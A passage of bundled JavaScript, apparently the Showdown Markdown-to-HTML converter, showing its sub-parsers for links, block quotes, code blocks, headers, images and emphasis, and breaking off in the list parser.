3099 link = link.replace(/^www\./i, "http://www.");
3100 }
3101 if (options.excludeTrailingPunctuationFromURLs && trailingPunctuation) {
3102 append = trailingPunctuation;
3103 }
3104 if (options.openLinksInNewWindow) {
3105 target = ' rel="noopener noreferrer" target="\xA8E95Eblank"';
3106 }
3107 return lmc + '<a href="' + link + '"' + target + ">" + lnkTxt + "</a>" + append + tmc;
3108 };
3109 }, replaceMail = function(options, globals) {
3110 "use strict";
3111 return function(wholeMatch, b2, mail) {
3112 var href = "mailto:";
3113 b2 = b2 || "";
3114 mail = showdown2.subParser("unescapeSpecialChars")(mail, options, globals);
3115 if (options.encodeEmails) {
3116 href = showdown2.helper.encodeEmailAddress(href + mail);
3117 mail = showdown2.helper.encodeEmailAddress(mail);
3118 } else {
3119 href = href + mail;
3120 }
3121 return b2 + '<a href="' + href + '">' + mail + "</a>";
3122 };
3123 };
3124 showdown2.subParser("autoLinks", function(text2, options, globals) {
3125 "use strict";
3126 text2 = globals.converter._dispatch("autoLinks.before", text2, options, globals);
3127 text2 = text2.replace(delimUrlRegex, replaceLink(options));
3128 text2 = text2.replace(delimMailRegex, replaceMail(options, globals));
3129 text2 = globals.converter._dispatch("autoLinks.after", text2, options, globals);
3130 return text2;
3131 });
3132 showdown2.subParser("simplifiedAutoLinks", function(text2, options, globals) {
3133 "use strict";
3134 if (!options.simplifiedAutoLink) {
3135 return text2;
3136 }
3137 text2 = globals.converter._dispatch("simplifiedAutoLinks.before", text2, options, globals);
3138 if (options.excludeTrailingPunctuationFromURLs) {
3139 text2 = text2.replace(simpleURLRegex2, replaceLink(options));
3140 } else {
3141 text2 = text2.replace(simpleURLRegex, replaceLink(options));
3142 }
3143 text2 = text2.replace(simpleMailRegex, replaceMail(options, globals));
3144 text2 = globals.converter._dispatch("simplifiedAutoLinks.after", text2, options, globals);
3145 return text2;
3146 });
3147 showdown2.subParser("blockGamut", function(text2, options, globals) {
3148 "use strict";
3149 text2 = globals.converter._dispatch("blockGamut.before", text2, options, globals);
3150 text2 = showdown2.subParser("blockQuotes")(text2, options, globals);
3151 text2 = showdown2.subParser("headers")(text2, options, globals);
3152 text2 = showdown2.subParser("horizontalRule")(text2, options, globals);
3153 text2 = showdown2.subParser("lists")(text2, options, globals);
3154 text2 = showdown2.subParser("codeBlocks")(text2, options, globals);
3155 text2 = showdown2.subParser("tables")(text2, options, globals);
3156 text2 = showdown2.subParser("hashHTMLBlocks")(text2, options, globals);
3157 text2 = showdown2.subParser("paragraphs")(text2, options, globals);
3158 text2 = globals.converter._dispatch("blockGamut.after", text2, options, globals);
3159 return text2;
3160 });
3161 showdown2.subParser("blockQuotes", function(text2, options, globals) {
3162 "use strict";
3163 text2 = globals.converter._dispatch("blockQuotes.before", text2, options, globals);
3164 text2 = text2 + "\n\n";
3165 var rgx = /(^ {0,3}>[ \t]?.+\n(.+\n)*\n*)+/gm;
3166 if (options.splitAdjacentBlockquotes) {
3167 rgx = /^ {0,3}>[\s\S]*?(?:\n\n)/gm;
3168 }
3169 text2 = text2.replace(rgx, function(bq) {
3170 bq = bq.replace(/^[ \t]*>[ \t]?/gm, "");
3171 bq = bq.replace(/¨0/g, "");
3172 bq = bq.replace(/^[ \t]+$/gm, "");
3173 bq = showdown2.subParser("githubCodeBlocks")(bq, options, globals);
3174 bq = showdown2.subParser("blockGamut")(bq, options, globals);
3175 bq = bq.replace(/(^|\n)/g, "$1 ");
3176 bq = bq.replace(/(\s*<pre>[^\r]+?<\/pre>)/gm, function(wholeMatch, m1) {
3177 var pre = m1;
3178 pre = pre.replace(/^ /mg, "\xA80");
3179 pre = pre.replace(/¨0/g, "");
3180 return pre;
3181 });
3182 return showdown2.subParser("hashBlock")("<blockquote>\n" + bq + "\n</blockquote>", options, globals);
3183 });
3184 text2 = globals.converter._dispatch("blockQuotes.after", text2, options, globals);
3185 return text2;
3186 });
3187 showdown2.subParser("codeBlocks", function(text2, options, globals) {
3188 "use strict";
3189 text2 = globals.converter._dispatch("codeBlocks.before", text2, options, globals);
3190 text2 += "\xA80";
3191 var pattern = /(?:\n\n|^)((?:(?:[ ]{4}|\t).*\n+)+)(\n*[ ]{0,3}[^ \t\n]|(?=¨0))/g;
3192 text2 = text2.replace(pattern, function(wholeMatch, m1, m2) {
3193 var codeblock = m1, nextChar = m2, end = "\n";
3194 codeblock = showdown2.subParser("outdent")(codeblock, options, globals);
3195 codeblock = showdown2.subParser("encodeCode")(codeblock, options, globals);
3196 codeblock = showdown2.subParser("detab")(codeblock, options, globals);
3197 codeblock = codeblock.replace(/^\n+/g, "");
3198 codeblock = codeblock.replace(/\n+$/g, "");
3199 if (options.omitExtraWLInCodeBlocks) {
3200 end = "";
3201 }
3202 codeblock = "<pre><code>" + codeblock + end + "</code></pre>";
3203 return showdown2.subParser("hashBlock")(codeblock, options, globals) + nextChar;
3204 });
3205 text2 = text2.replace(/¨0/, "");
3206 text2 = globals.converter._dispatch("codeBlocks.after", text2, options, globals);
3207 return text2;
3208 });
3209 showdown2.subParser("codeSpans", function(text2, options, globals) {
3210 "use strict";
3211 text2 = globals.converter._dispatch("codeSpans.before", text2, options, globals);
3212 if (typeof text2 === "undefined") {
3213 text2 = "";
3214 }
3215 text2 = text2.replace(
3216 /(^|[^\\])(`+)([^\r]*?[^`])\2(?!`)/gm,
3217 function(wholeMatch, m1, m2, m3) {
3218 var c2 = m3;
3219 c2 = c2.replace(/^([ \t]*)/g, "");
3220 c2 = c2.replace(/[ \t]*$/g, "");
3221 c2 = showdown2.subParser("encodeCode")(c2, options, globals);
3222 c2 = m1 + "<code>" + c2 + "</code>";
3223 c2 = showdown2.subParser("hashHTMLSpans")(c2, options, globals);
3224 return c2;
3225 }
3226 );
3227 text2 = globals.converter._dispatch("codeSpans.after", text2, options, globals);
3228 return text2;
3229 });
3230 showdown2.subParser("completeHTMLDocument", function(text2, options, globals) {
3231 "use strict";
3232 if (!options.completeHTMLDocument) {
3233 return text2;
3234 }
3235 text2 = globals.converter._dispatch("completeHTMLDocument.before", text2, options, globals);
3236 var doctype = "html", doctypeParsed = "<!DOCTYPE HTML>\n", title = "", charset = '<meta charset="utf-8">\n', lang = "", metadata = "";
3237 if (typeof globals.metadata.parsed.doctype !== "undefined") {
3238 doctypeParsed = "<!DOCTYPE " + globals.metadata.parsed.doctype + ">\n";
3239 doctype = globals.metadata.parsed.doctype.toString().toLowerCase();
3240 if (doctype === "html" || doctype === "html5") {
3241 charset = '<meta charset="utf-8">';
3242 }
3243 }
3244 for (var meta in globals.metadata.parsed) {
3245 if (globals.metadata.parsed.hasOwnProperty(meta)) {
3246 switch (meta.toLowerCase()) {
3247 case "doctype":
3248 break;
3249 case "title":
3250 title = "<title>" + globals.metadata.parsed.title + "</title>\n";
3251 break;
3252 case "charset":
3253 if (doctype === "html" || doctype === "html5") {
3254 charset = '<meta charset="' + globals.metadata.parsed.charset + '">\n';
3255 } else {
3256 charset = '<meta name="charset" content="' + globals.metadata.parsed.charset + '">\n';
3257 }
3258 break;
3259 case "language":
3260 case "lang":
3261 lang = ' lang="' + globals.metadata.parsed[meta] + '"';
3262 metadata += '<meta name="' + meta + '" content="' + globals.metadata.parsed[meta] + '">\n';
3263 break;
3264 default:
3265 metadata += '<meta name="' + meta + '" content="' + globals.metadata.parsed[meta] + '">\n';
3266 }
3267 }
3268 }
3269 text2 = doctypeParsed + "<html" + lang + ">\n<head>\n" + title + charset + metadata + "</head>\n<body>\n" + text2.trim() + "\n</body>\n</html>";
3270 text2 = globals.converter._dispatch("completeHTMLDocument.after", text2, options, globals);
3271 return text2;
3272 });
3273 showdown2.subParser("detab", function(text2, options, globals) {
3274 "use strict";
3275 text2 = globals.converter._dispatch("detab.before", text2, options, globals);
3276 text2 = text2.replace(/\t(?=\t)/g, " ");
3277 text2 = text2.replace(/\t/g, "\xA8A\xA8B");
3278 text2 = text2.replace(/¨B(.+?)¨A/g, function(wholeMatch, m1) {
3279 var leadingText = m1, numSpaces = 4 - leadingText.length % 4;
3280 for (var i2 = 0; i2 < numSpaces; i2++) {
3281 leadingText += " ";
3282 }
3283 return leadingText;
3284 });
3285 text2 = text2.replace(/¨A/g, " ");
3286 text2 = text2.replace(/¨B/g, "");
3287 text2 = globals.converter._dispatch("detab.after", text2, options, globals);
3288 return text2;
3289 });
3290 showdown2.subParser("ellipsis", function(text2, options, globals) {
3291 "use strict";
3292 text2 = globals.converter._dispatch("ellipsis.before", text2, options, globals);
3293 text2 = text2.replace(/\.\.\./g, "\u2026");
3294 text2 = globals.converter._dispatch("ellipsis.after", text2, options, globals);
3295 return text2;
3296 });
3297 showdown2.subParser("emoji", function(text2, options, globals) {
3298 "use strict";
3299 if (!options.emoji) {
3300 return text2;
3301 }
3302 text2 = globals.converter._dispatch("emoji.before", text2, options, globals);
3303 var emojiRgx = /:([\S]+?):/g;
3304 text2 = text2.replace(emojiRgx, function(wm, emojiCode) {
3305 if (showdown2.helper.emojis.hasOwnProperty(emojiCode)) {
3306 return showdown2.helper.emojis[emojiCode];
3307 }
3308 return wm;
3309 });
3310 text2 = globals.converter._dispatch("emoji.after", text2, options, globals);
3311 return text2;
3312 });
3313 showdown2.subParser("encodeAmpsAndAngles", function(text2, options, globals) {
3314 "use strict";
3315 text2 = globals.converter._dispatch("encodeAmpsAndAngles.before", text2, options, globals);
3316 text2 = text2.replace(/&(?!#?[xX]?(?:[0-9a-fA-F]+|\w+);)/g, "&amp;");
3317 text2 = text2.replace(/<(?![a-z\/?$!])/gi, "&lt;");
3318 text2 = text2.replace(/</g, "&lt;");
3319 text2 = text2.replace(/>/g, "&gt;");
3320 text2 = globals.converter._dispatch("encodeAmpsAndAngles.after", text2, options, globals);
3321 return text2;
3322 });
3323 showdown2.subParser("encodeBackslashEscapes", function(text2, options, globals) {
3324 "use strict";
3325 text2 = globals.converter._dispatch("encodeBackslashEscapes.before", text2, options, globals);
3326 text2 = text2.replace(/\\(\\)/g, showdown2.helper.escapeCharactersCallback);
3327 text2 = text2.replace(/\\([`*_{}\[\]()>#+.!~=|-])/g, showdown2.helper.escapeCharactersCallback);
3328 text2 = globals.converter._dispatch("encodeBackslashEscapes.after", text2, options, globals);
3329 return text2;
3330 });
3331 showdown2.subParser("encodeCode", function(text2, options, globals) {
3332 "use strict";
3333 text2 = globals.converter._dispatch("encodeCode.before", text2, options, globals);
3334 text2 = text2.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/([*_{}\[\]\\=~-])/g, showdown2.helper.escapeCharactersCallback);
3335 text2 = globals.converter._dispatch("encodeCode.after", text2, options, globals);
3336 return text2;
3337 });
3338 showdown2.subParser("escapeSpecialCharsWithinTagAttributes", function(text2, options, globals) {
3339 "use strict";
3340 text2 = globals.converter._dispatch("escapeSpecialCharsWithinTagAttributes.before", text2, options, globals);
3341 var tags = /<\/?[a-z\d_:-]+(?:[\s]+[\s\S]+?)?>/gi, comments = /<!(--(?:(?:[^>-]|-[^>])(?:[^-]|-[^-])*)--)>/gi;
3342 text2 = text2.replace(tags, function(wholeMatch) {
3343 return wholeMatch.replace(/(.)<\/?code>(?=.)/g, "$1`").replace(/([\\`*_~=|])/g, showdown2.helper.escapeCharactersCallback);
3344 });
3345 text2 = text2.replace(comments, function(wholeMatch) {
3346 return wholeMatch.replace(/([\\`*_~=|])/g, showdown2.helper.escapeCharactersCallback);
3347 });
3348 text2 = globals.converter._dispatch("escapeSpecialCharsWithinTagAttributes.after", text2, options, globals);
3349 return text2;
3350 });
3351 showdown2.subParser("githubCodeBlocks", function(text2, options, globals) {
3352 "use strict";
3353 if (!options.ghCodeBlocks) {
3354 return text2;
3355 }
3356 text2 = globals.converter._dispatch("githubCodeBlocks.before", text2, options, globals);
3357 text2 += "\xA80";
3358 text2 = text2.replace(/(?:^|\n)(?: {0,3})(```+|~~~+)(?: *)([^\s`~]*)\n([\s\S]*?)\n(?: {0,3})\1/g, function(wholeMatch, delim, language, codeblock) {
3359 var end = options.omitExtraWLInCodeBlocks ? "" : "\n";
3360 codeblock = showdown2.subParser("encodeCode")(codeblock, options, globals);
3361 codeblock = showdown2.subParser("detab")(codeblock, options, globals);
3362 codeblock = codeblock.replace(/^\n+/g, "");
3363 codeblock = codeblock.replace(/\n+$/g, "");
3364 codeblock = "<pre><code" + (language ? ' class="' + language + " language-" + language + '"' : "") + ">" + codeblock + end + "</code></pre>";
3365 codeblock = showdown2.subParser("hashBlock")(codeblock, options, globals);
3366 return "\n\n\xA8G" + (globals.ghCodeBlocks.push({ text: wholeMatch, codeblock }) - 1) + "G\n\n";
3367 });
3368 text2 = text2.replace(/¨0/, "");
3369 return globals.converter._dispatch("githubCodeBlocks.after", text2, options, globals);
3370 });
3371 showdown2.subParser("hashBlock", function(text2, options, globals) {
3372 "use strict";
3373 text2 = globals.converter._dispatch("hashBlock.before", text2, options, globals);
3374 text2 = text2.replace(/(^\n+|\n+$)/g, "");
3375 text2 = "\n\n\xA8K" + (globals.gHtmlBlocks.push(text2) - 1) + "K\n\n";
3376 text2 = globals.converter._dispatch("hashBlock.after", text2, options, globals);
3377 return text2;
3378 });
3379 showdown2.subParser("hashCodeTags", function(text2, options, globals) {
3380 "use strict";
3381 text2 = globals.converter._dispatch("hashCodeTags.before", text2, options, globals);
3382 var repFunc = function(wholeMatch, match, left, right) {
3383 var codeblock = left + showdown2.subParser("encodeCode")(match, options, globals) + right;
3384 return "\xA8C" + (globals.gHtmlSpans.push(codeblock) - 1) + "C";
3385 };
3386 text2 = showdown2.helper.replaceRecursiveRegExp(text2, repFunc, "<code\\b[^>]*>", "</code>", "gim");
3387 text2 = globals.converter._dispatch("hashCodeTags.after", text2, options, globals);
3388 return text2;
3389 });
3390 showdown2.subParser("hashElement", function(text2, options, globals) {
3391 "use strict";
3392 return function(wholeMatch, m1) {
3393 var blockText = m1;
3394 blockText = blockText.replace(/\n\n/g, "\n");
3395 blockText = blockText.replace(/^\n/, "");
3396 blockText = blockText.replace(/\n+$/g, "");
3397 blockText = "\n\n\xA8K" + (globals.gHtmlBlocks.push(blockText) - 1) + "K\n\n";
3398 return blockText;
3399 };
3400 });
3401 showdown2.subParser("hashHTMLBlocks", function(text2, options, globals) {
3402 "use strict";
3403 text2 = globals.converter._dispatch("hashHTMLBlocks.before", text2, options, globals);
3404 var blockTags = [
3405 "pre",
3406 "div",
3407 "h1",
3408 "h2",
3409 "h3",
3410 "h4",
3411 "h5",
3412 "h6",
3413 "blockquote",
3414 "table",
3415 "dl",
3416 "ol",
3417 "ul",
3418 "script",
3419 "noscript",
3420 "form",
3421 "fieldset",
3422 "iframe",
3423 "math",
3424 "style",
3425 "section",
3426 "header",
3427 "footer",
3428 "nav",
3429 "article",
3430 "aside",
3431 "address",
3432 "audio",
3433 "canvas",
3434 "figure",
3435 "hgroup",
3436 "output",
3437 "video",
3438 "p"
3439 ], repFunc = function(wholeMatch, match, left, right) {
3440 var txt = wholeMatch;
3441 if (left.search(/\bmarkdown\b/) !== -1) {
3442 txt = left + globals.converter.makeHtml(match) + right;
3443 }
3444 return "\n\n\xA8K" + (globals.gHtmlBlocks.push(txt) - 1) + "K\n\n";
3445 };
3446 if (options.backslashEscapesHTMLTags) {
3447 text2 = text2.replace(/\\<(\/?[^>]+?)>/g, function(wm, inside) {
3448 return "&lt;" + inside + "&gt;";
3449 });
3450 }
3451 for (var i2 = 0; i2 < blockTags.length; ++i2) {
3452 var opTagPos, rgx1 = new RegExp("^ {0,3}(<" + blockTags[i2] + "\\b[^>]*>)", "im"), patLeft = "<" + blockTags[i2] + "\\b[^>]*>", patRight = "</" + blockTags[i2] + ">";
3453 while ((opTagPos = showdown2.helper.regexIndexOf(text2, rgx1)) !== -1) {
3454 var subTexts = showdown2.helper.splitAtIndex(text2, opTagPos), newSubText1 = showdown2.helper.replaceRecursiveRegExp(subTexts[1], repFunc, patLeft, patRight, "im");
3455 if (newSubText1 === subTexts[1]) {
3456 break;
3457 }
3458 text2 = subTexts[0].concat(newSubText1);
3459 }
3460 }
3461 text2 = text2.replace(
3462 /(\n {0,3}(<(hr)\b([^<>])*?\/?>)[ \t]*(?=\n{2,}))/g,
3463 showdown2.subParser("hashElement")(text2, options, globals)
3464 );
3465 text2 = showdown2.helper.replaceRecursiveRegExp(text2, function(txt) {
3466 return "\n\n\xA8K" + (globals.gHtmlBlocks.push(txt) - 1) + "K\n\n";
3467 }, "^ {0,3}<!--", "-->", "gm");
3468 text2 = text2.replace(
3469 /(?:\n\n)( {0,3}(?:<([?%])[^\r]*?\2>)[ \t]*(?=\n{2,}))/g,
3470 showdown2.subParser("hashElement")(text2, options, globals)
3471 );
3472 text2 = globals.converter._dispatch("hashHTMLBlocks.after", text2, options, globals);
3473 return text2;
3474 });
3475 showdown2.subParser("hashHTMLSpans", function(text2, options, globals) {
3476 "use strict";
3477 text2 = globals.converter._dispatch("hashHTMLSpans.before", text2, options, globals);
3478 function hashHTMLSpan(html2) {
3479 return "\xA8C" + (globals.gHtmlSpans.push(html2) - 1) + "C";
3480 }
3481 text2 = text2.replace(/<[^>]+?\/>/gi, function(wm) {
3482 return hashHTMLSpan(wm);
3483 });
3484 text2 = text2.replace(/<([^>]+?)>[\s\S]*?<\/\1>/g, function(wm) {
3485 return hashHTMLSpan(wm);
3486 });
3487 text2 = text2.replace(/<([^>]+?)\s[^>]+?>[\s\S]*?<\/\1>/g, function(wm) {
3488 return hashHTMLSpan(wm);
3489 });
3490 text2 = text2.replace(/<[^>]+?>/gi, function(wm) {
3491 return hashHTMLSpan(wm);
3492 });
3493 text2 = globals.converter._dispatch("hashHTMLSpans.after", text2, options, globals);
3494 return text2;
3495 });
3496 showdown2.subParser("unhashHTMLSpans", function(text2, options, globals) {
3497 "use strict";
3498 text2 = globals.converter._dispatch("unhashHTMLSpans.before", text2, options, globals);
3499 for (var i2 = 0; i2 < globals.gHtmlSpans.length; ++i2) {
3500 var repText = globals.gHtmlSpans[i2], limit = 0;
3501 while (/¨C(\d+)C/.test(repText)) {
3502 var num = RegExp.$1;
3503 repText = repText.replace("\xA8C" + num + "C", globals.gHtmlSpans[num]);
3504 if (limit === 10) {
3505 console.error("maximum nesting of 10 spans reached!!!");
3506 break;
3507 }
3508 ++limit;
3509 }
3510 text2 = text2.replace("\xA8C" + i2 + "C", repText);
3511 }
3512 text2 = globals.converter._dispatch("unhashHTMLSpans.after", text2, options, globals);
3513 return text2;
3514 });
3515 showdown2.subParser("hashPreCodeTags", function(text2, options, globals) {
3516 "use strict";
3517 text2 = globals.converter._dispatch("hashPreCodeTags.before", text2, options, globals);
3518 var repFunc = function(wholeMatch, match, left, right) {
3519 var codeblock = left + showdown2.subParser("encodeCode")(match, options, globals) + right;
3520 return "\n\n\xA8G" + (globals.ghCodeBlocks.push({ text: wholeMatch, codeblock }) - 1) + "G\n\n";
3521 };
3522 text2 = showdown2.helper.replaceRecursiveRegExp(text2, repFunc, "^ {0,3}<pre\\b[^>]*>\\s*<code\\b[^>]*>", "^ {0,3}</code>\\s*</pre>", "gim");
3523 text2 = globals.converter._dispatch("hashPreCodeTags.after", text2, options, globals);
3524 return text2;
3525 });
3526 showdown2.subParser("headers", function(text2, options, globals) {
3527 "use strict";
3528 text2 = globals.converter._dispatch("headers.before", text2, options, globals);
3529 var headerLevelStart = isNaN(parseInt(options.headerLevelStart)) ? 1 : parseInt(options.headerLevelStart), setextRegexH1 = options.smoothLivePreview ? /^(.+)[ \t]*\n={2,}[ \t]*\n+/gm : /^(.+)[ \t]*\n=+[ \t]*\n+/gm, setextRegexH2 = options.smoothLivePreview ? /^(.+)[ \t]*\n-{2,}[ \t]*\n+/gm : /^(.+)[ \t]*\n-+[ \t]*\n+/gm;
3530 text2 = text2.replace(setextRegexH1, function(wholeMatch, m1) {
3531 var spanGamut = showdown2.subParser("spanGamut")(m1, options, globals), hID = options.noHeaderId ? "" : ' id="' + headerId(m1) + '"', hLevel = headerLevelStart, hashBlock = "<h" + hLevel + hID + ">" + spanGamut + "</h" + hLevel + ">";
3532 return showdown2.subParser("hashBlock")(hashBlock, options, globals);
3533 });
3534 text2 = text2.replace(setextRegexH2, function(matchFound, m1) {
3535 var spanGamut = showdown2.subParser("spanGamut")(m1, options, globals), hID = options.noHeaderId ? "" : ' id="' + headerId(m1) + '"', hLevel = headerLevelStart + 1, hashBlock = "<h" + hLevel + hID + ">" + spanGamut + "</h" + hLevel + ">";
3536 return showdown2.subParser("hashBlock")(hashBlock, options, globals);
3537 });
3538 var atxStyle = options.requireSpaceBeforeHeadingText ? /^(#{1,6})[ \t]+(.+?)[ \t]*#*\n+/gm : /^(#{1,6})[ \t]*(.+?)[ \t]*#*\n+/gm;
3539 text2 = text2.replace(atxStyle, function(wholeMatch, m1, m2) {
3540 var hText = m2;
3541 if (options.customizedHeaderId) {
3542 hText = m2.replace(/\s?\{([^{]+?)}\s*$/, "");
3543 }
3544 var span = showdown2.subParser("spanGamut")(hText, options, globals), hID = options.noHeaderId ? "" : ' id="' + headerId(m2) + '"', hLevel = headerLevelStart - 1 + m1.length, header = "<h" + hLevel + hID + ">" + span + "</h" + hLevel + ">";
3545 return showdown2.subParser("hashBlock")(header, options, globals);
3546 });
3547 function headerId(m2) {
3548 var title, prefix;
3549 if (options.customizedHeaderId) {
3550 var match = m2.match(/\{([^{]+?)}\s*$/);
3551 if (match && match[1]) {
3552 m2 = match[1];
3553 }
3554 }
3555 title = m2;
3556 if (showdown2.helper.isString(options.prefixHeaderId)) {
3557 prefix = options.prefixHeaderId;
3558 } else if (options.prefixHeaderId === true) {
3559 prefix = "section-";
3560 } else {
3561 prefix = "";
3562 }
3563 if (!options.rawPrefixHeaderId) {
3564 title = prefix + title;
3565 }
3566 if (options.ghCompatibleHeaderId) {
3567 title = title.replace(/ /g, "-").replace(/&amp;/g, "").replace(/¨T/g, "").replace(/¨D/g, "").replace(/[&+$,\/:;=?@"#{}|^¨~\[\]`\\*)(%.!'<>]/g, "").toLowerCase();
3568 } else if (options.rawHeaderId) {
3569 title = title.replace(/ /g, "-").replace(/&amp;/g, "&").replace(/¨T/g, "\xA8").replace(/¨D/g, "$").replace(/["']/g, "-").toLowerCase();
3570 } else {
3571 title = title.replace(/[^\w]/g, "").toLowerCase();
3572 }
3573 if (options.rawPrefixHeaderId) {
3574 title = prefix + title;
3575 }
3576 if (globals.hashLinkCounts[title]) {
3577 title = title + "-" + globals.hashLinkCounts[title]++;
3578 } else {
3579 globals.hashLinkCounts[title] = 1;
3580 }
3581 return title;
3582 }
3583 text2 = globals.converter._dispatch("headers.after", text2, options, globals);
3584 return text2;
3585 });
3586 showdown2.subParser("horizontalRule", function(text2, options, globals) {
3587 "use strict";
3588 text2 = globals.converter._dispatch("horizontalRule.before", text2, options, globals);
3589 var key = showdown2.subParser("hashBlock")("<hr />", options, globals);
3590 text2 = text2.replace(/^ {0,2}( ?-){3,}[ \t]*$/gm, key);
3591 text2 = text2.replace(/^ {0,2}( ?\*){3,}[ \t]*$/gm, key);
3592 text2 = text2.replace(/^ {0,2}( ?_){3,}[ \t]*$/gm, key);
3593 text2 = globals.converter._dispatch("horizontalRule.after", text2, options, globals);
3594 return text2;
3595 });
3596 showdown2.subParser("images", function(text2, options, globals) {
3597 "use strict";
3598 text2 = globals.converter._dispatch("images.before", text2, options, globals);
3599 var inlineRegExp = /!\[([^\]]*?)][ \t]*()\([ \t]?<?([\S]+?(?:\([\S]*?\)[\S]*?)?)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:(["'])([^"]*?)\6)?[ \t]?\)/g, crazyRegExp = /!\[([^\]]*?)][ \t]*()\([ \t]?<([^>]*)>(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:(?:(["'])([^"]*?)\6))?[ \t]?\)/g, base64RegExp = /!\[([^\]]*?)][ \t]*()\([ \t]?<?(data:.+?\/.+?;base64,[A-Za-z0-9+/=\n]+?)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:(["'])([^"]*?)\6)?[ \t]?\)/g, referenceRegExp = /!\[([^\]]*?)] ?(?:\n *)?\[([\s\S]*?)]()()()()()/g, refShortcutRegExp = /!\[([^\[\]]+)]()()()()()/g;
3600 function writeImageTagBase64(wholeMatch, altText, linkId, url, width, height, m5, title) {
3601 url = url.replace(/\s/g, "");
3602 return writeImageTag(wholeMatch, altText, linkId, url, width, height, m5, title);
3603 }
3604 function writeImageTag(wholeMatch, altText, linkId, url, width, height, m5, title) {
3605 var gUrls = globals.gUrls, gTitles = globals.gTitles, gDims = globals.gDimensions;
3606 linkId = linkId.toLowerCase();
3607 if (!title) {
3608 title = "";
3609 }
3610 if (wholeMatch.search(/\(<?\s*>? ?(['"].*['"])?\)$/m) > -1) {
3611 url = "";
3612 } else if (url === "" || url === null) {
3613 if (linkId === "" || linkId === null) {
3614 linkId = altText.toLowerCase().replace(/ ?\n/g, " ");
3615 }
3616 url = "#" + linkId;
3617 if (!showdown2.helper.isUndefined(gUrls[linkId])) {
3618 url = gUrls[linkId];
3619 if (!showdown2.helper.isUndefined(gTitles[linkId])) {
3620 title = gTitles[linkId];
3621 }
3622 if (!showdown2.helper.isUndefined(gDims[linkId])) {
3623 width = gDims[linkId].width;
3624 height = gDims[linkId].height;
3625 }
3626 } else {
3627 return wholeMatch;
3628 }
3629 }
3630 altText = altText.replace(/"/g, "&quot;").replace(showdown2.helper.regexes.asteriskDashAndColon, showdown2.helper.escapeCharactersCallback);
3631 url = url.replace(showdown2.helper.regexes.asteriskDashAndColon, showdown2.helper.escapeCharactersCallback);
3632 var result = '<img src="' + url + '" alt="' + altText + '"';
3633 if (title && showdown2.helper.isString(title)) {
3634 title = title.replace(/"/g, "&quot;").replace(showdown2.helper.regexes.asteriskDashAndColon, showdown2.helper.escapeCharactersCallback);
3635 result += ' title="' + title + '"';
3636 }
3637 if (width && height) {
3638 width = width === "*" ? "auto" : width;
3639 height = height === "*" ? "auto" : height;
3640 result += ' width="' + width + '"';
3641 result += ' height="' + height + '"';
3642 }
3643 result += " />";
3644 return result;
3645 }
3646 text2 = text2.replace(referenceRegExp, writeImageTag);
3647 text2 = text2.replace(base64RegExp, writeImageTagBase64);
3648 text2 = text2.replace(crazyRegExp, writeImageTag);
3649 text2 = text2.replace(inlineRegExp, writeImageTag);
3650 text2 = text2.replace(refShortcutRegExp, writeImageTag);
3651 text2 = globals.converter._dispatch("images.after", text2, options, globals);
3652 return text2;
3653 });
3654 showdown2.subParser("italicsAndBold", function(text2, options, globals) {
3655 "use strict";
3656 text2 = globals.converter._dispatch("italicsAndBold.before", text2, options, globals);
3657 function parseInside(txt, left, right) {
3658 return left + txt + right;
3659 }
3660 if (options.literalMidWordUnderscores) {
3661 text2 = text2.replace(/\b___(\S[\s\S]*?)___\b/g, function(wm, txt) {
3662 return parseInside(txt, "<strong><em>", "</em></strong>");
3663 });
3664 text2 = text2.replace(/\b__(\S[\s\S]*?)__\b/g, function(wm, txt) {
3665 return parseInside(txt, "<strong>", "</strong>");
3666 });
3667 text2 = text2.replace(/\b_(\S[\s\S]*?)_\b/g, function(wm, txt) {
3668 return parseInside(txt, "<em>", "</em>");
3669 });
3670 } else {
3671 text2 = text2.replace(/___(\S[\s\S]*?)___/g, function(wm, m2) {
3672 return /\S$/.test(m2) ? parseInside(m2, "<strong><em>", "</em></strong>") : wm;
3673 });
3674 text2 = text2.replace(/__(\S[\s\S]*?)__/g, function(wm, m2) {
3675 return /\S$/.test(m2) ? parseInside(m2, "<strong>", "</strong>") : wm;
3676 });
3677 text2 = text2.replace(/_([^\s_][\s\S]*?)_/g, function(wm, m2) {
3678 return /\S$/.test(m2) ? parseInside(m2, "<em>", "</em>") : wm;
3679 });
3680 }
3681 if (options.literalMidWordAsterisks) {
3682 text2 = text2.replace(/([^*]|^)\B\*\*\*(\S[\s\S]*?)\*\*\*\B(?!\*)/g, function(wm, lead, txt) {
3683 return parseInside(txt, lead + "<strong><em>", "</em></strong>");
3684 });
3685 text2 = text2.replace(/([^*]|^)\B\*\*(\S[\s\S]*?)\*\*\B(?!\*)/g, function(wm, lead, txt) {
3686 return parseInside(txt, lead + "<strong>", "</strong>");
3687 });
3688 text2 = text2.replace(/([^*]|^)\B\*(\S[\s\S]*?)\*\B(?!\*)/g, function(wm, lead, txt) {
3689 return parseInside(txt, lead + "<em>", "</em>");
3690 });
3691 } else {
3692 text2 = text2.replace(/\*\*\*(\S[\s\S]*?)\*\*\*/g, function(wm, m2) {
3693 return /\S$/.test(m2) ? parseInside(m2, "<strong><em>", "</em></strong>") : wm;
3694 });
3695 text2 = text2.replace(/\*\*(\S[\s\S]*?)\*\*/g, function(wm, m2) {
3696 return /\S$/.test(m2) ? parseInside(m2, "<strong>", "</strong>") : wm;
3697 });
3698 text2 = text2.replace(/\*([^\s*][\s\S]*?)\*/g, function(wm, m2) {
3699 return /\S$/.test(m2) ? parseInside(m2, "<em>", "</em>") : wm;
3700 });
3701 }
3702 text2 = globals.converter._dispatch("italicsAndBold.after", text2, options, globals);
3703 return text2;
3704 });
3705 showdown2.subParser("lists", function(text2, options, globals) {
3706 "use strict";
3707 function processListItems(listStr, trimTrailing) {
3708 globals.gListLevel++;
3709 listStr = listStr.replace(/\n{2,}$/, "\n");
3710 listStr += "\xA80";
3711 var rgx = /(\n)?(^ {0,3})([*+-]|\d+[.])[ \t]+((\[(x|X| )?])?[ \t]*[^\r]+?(\n{1,2}))(?=\n*(¨0| {0,3}([*+-]|\d+[.])[ \t]+))/gm, isParagraphed = /\n[ \t]*\n(?!¨0)/.test(listStr);
3712 if (options.disableForced4SpacesIndentedSublists) {
